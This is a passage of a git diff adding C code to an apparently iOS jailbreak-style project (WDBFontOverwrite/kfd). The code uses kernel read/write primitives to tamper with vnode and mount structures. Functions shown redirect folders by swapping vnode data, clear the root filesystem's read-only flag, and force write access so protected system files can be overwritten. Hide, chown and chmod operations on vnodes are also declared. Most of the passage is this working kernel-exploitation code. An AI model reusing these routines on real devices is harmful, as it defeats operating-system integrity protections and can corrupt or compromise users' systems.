funVnodeRedirectFolder(char* to, char* from) { + uint64_t to_vnode = getVnodeAtPath(to); + if(to_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", to); + return -1; + } + + uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references); + uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount); + uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount); + + uint64_t from_vnode = getVnodeAtPath(from); + if(from_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", from); + return -1; + } + + //If mount point is different, return -1 + uint64_t to_devvp = kread64((kread64(to_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + uint64_t from_devvp = kread64((kread64(from_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + if(to_devvp != from_devvp) { + printf("[-] mount points of folders are different!"); + return -1; + } + + uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data); + + kwrite32(to_vnode + off_vnode_v_usecount, to_usecount + 1); + kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1); + kwrite8(to_vnode + off_vnode_v_references, to_v_references + 1); + kwrite64(to_vnode + off_vnode_v_data, from_v_data); + + return 0; +} + +uint64_t funVnodeOverwriteFile(char* to, char* from) { + + int to_file_index = open(to, O_RDONLY); + if (to_file_index == -1) return -1; + off_t to_file_size = lseek(to_file_index, 0, SEEK_END); + + int from_file_index = open(from, O_RDONLY); + if (from_file_index == -1) return -1; + off_t from_file_size = lseek(from_file_index, 0, SEEK_END); + + if(to_file_size < from_file_size) { + close(from_file_index); + close(to_file_index); + printf("[-] File is too big to overwrite!"); + return -1; + } + + uint64_t proc = getProc(getpid()); + + //get vnode + uint64_t filedesc_pac = kread64(proc + off_p_pfd); + uint64_t filedesc = filedesc_pac | 0xffffff8000000000; + uint64_t openedfile = kread64(filedesc + (8 * to_file_index)); + uint64_t fileglob_pac = kread64(openedfile + off_fp_glob); + uint64_t fileglob = fileglob_pac | 0xffffff8000000000; + uint64_t vnode_pac = kread64(fileglob + off_fg_data); + uint64_t to_vnode = vnode_pac | 0xffffff8000000000; + printf("[i] %s to_vnode: 0x%llx\n", to, to_vnode); + + uint64_t rootvnode_mount_pac = kread64(findRootVnode() + off_vnode_v_mount); + uint64_t rootvnode_mount = rootvnode_mount_pac | 0xffffff8000000000; + uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag); + + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY); + kwrite32(fileglob + off_fg_flag, O_ACCMODE); + + uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount); + printf("[i] %s Increasing to_vnode->v_writecount: %d\n", to, to_vnode_v_writecount); + if(to_vnode_v_writecount <= 0) { + kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1); + printf("[+] %s Increased to_vnode->v_writecount: %d\n", to, kread32(to_vnode + off_vnode_v_writecount)); + } + + + char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0); + if (from_mapped == MAP_FAILED) { + perror("[-] Failed mmap (from_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_file_index); + close(to_file_index); + return -1; + } + + char* to_mapped = mmap(NULL, to_file_size, PROT_READ | PROT_WRITE, MAP_SHARED, to_file_index, 0); + if (to_mapped == MAP_FAILED) { + perror("[-] Failed mmap (to_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_file_index); + close(to_file_index); + return -1; + } + + memcpy(to_mapped, from_mapped, from_file_size); + + munmap(from_mapped, from_file_size); + munmap(to_mapped, to_file_size); + + kwrite32(fileglob + off_fg_flag, O_RDONLY); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + + close(from_file_index); + close(to_file_index); + + return 0; +} diff --git a/WDBFontOverwrite/vnode.h b/WDBFontOverwrite/vnode.h new file mode 100644 index 0000000..ef06669 --- /dev/null +++ b/WDBFontOverwrite/vnode.h @@ -0,0 +1,46 @@ +// +// vnode.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +#define MNT_RDONLY 0x00000001 /* read only filesystem */ +#define VISSHADOW 0x008000 /* vnode is a shadow file */ + +uint64_t getVnodeAtPath(char* filename); +uint64_t findRootVnode(void); + +/* +Description: + Hide and reveal file or directory. +*/ +uint64_t funVnodeHide(char* filename); + +/* +Description: + Perform chown to file or directory. +*/ +uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid); + +/* +Description: + Perform chmod to file or directory. +*/ +uint64_t funVnodeChmod(char* filename, mode_t mode); + +/* +Description: + Redirect directory to another directory. + Only work when mount points of directories are same. +*/ +uint64_t funVnodeRedirectFolder(char* to, char* from); + +/* +Description: + Perform overwrite file data to file. + Only work when file size is 'lower or same' than original file size. +*/ +uint64_t funVnodeOverwriteFile(char* to, char* from);